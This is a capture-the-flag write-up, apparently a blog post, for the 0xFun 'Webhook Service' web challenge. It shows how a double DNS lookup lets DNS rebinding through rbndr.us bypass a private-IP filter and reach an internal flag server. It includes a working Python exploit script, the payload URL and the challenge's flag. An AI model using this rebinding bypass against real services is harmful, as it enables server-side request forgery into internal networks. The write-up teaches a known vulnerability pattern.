Webhook

0xFun CTFby smothy

Webhook Service - Web

Points: 100 | Difficulty: Easy | Flag: 0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1} | Solved by: Smothy @ 0xN1umb

hacker vibes

what we got

webhook service that lets u register URLs and trigger them. source code provided which is always nice

looking at app.py we see theres a sneaky internal flag server:

python
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()

POST to 127.0.0.1:5001/flag = flag. ez right? nope they got protection:

python
def is_ip_allowed(url):
    parsed = urlparse(url)
    host = parsed.hostname or ''
    try:
        ip = socket.gethostbyname(host)
    except Exception:
        return False, f'Could not resolve host'
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
        return False, f'IP "{ip}" not allowed'
    return True, None

blocks all private/loopback IPs. but wait...

the vulnerability

look at /trigger:

python
@app.route('/trigger', methods=['POST'])
def trigger_webhook():
    # ... get webhook ...
    allowed, reason = is_ip_allowed(url)  # DNS lookup #1
    if not allowed:
        return jsonify({'error': reason}), 400
    try:
        resp = requests.post(url, timeout=5)  # DNS lookup #2 !!!

DNS gets resolved TWICE - once in the check, once in requests.post()

classic TOCTOU (time-of-check time-of-use) vulnerability. if we can make DNS return different IPs between these two calls... we win

the solve

DNS rebinding time babyyyy

used rbndr.us - service that alternates between two IPs randomly:

  • format: <hex-ip1>.<hex-ip2>.rbndr.us
  • 8.8.8.8 in hex = 08080808 (public IP to pass check)
  • 127.0.0.1 in hex = 7f000001 (localhost to hit flag server)

final payload: http://08080808.7f000001.rbndr.us:5001/flag

python
import requests
import time

TARGET = "http://chall.0xfun.org:59990"
REBIND_DOMAIN = "08080808.7f000001.rbndr.us"
WEBHOOK_URL = f"http://{REBIND_DOMAIN}:5001/flag"

# its probabilistic so we spam it lol
for attempt in range(30):
    r = requests.post(f"{TARGET}/register", data={"url": WEBHOOK_URL})
    if r.status_code != 200:
        continue
    
    webhook_id = r.json().get("id")
    
    for _ in range(5):
        r2 = requests.post(f"{TARGET}/trigger", data={"id": webhook_id})
        if "0xfun{" in r2.text:
            print(f"FLAG: {r2.text}")
            exit(0)
        time.sleep(0.3)

ran it and on attempt 7:

Trigger 3: 200 - {"response":"0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}"...

gottem

flag

0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}

ngl dns rebinding is lowkey one of my fav ssrf bypasses. the fact that DNS resolution happens twice in different places is such a common bug pattern fr


smothy out ✌️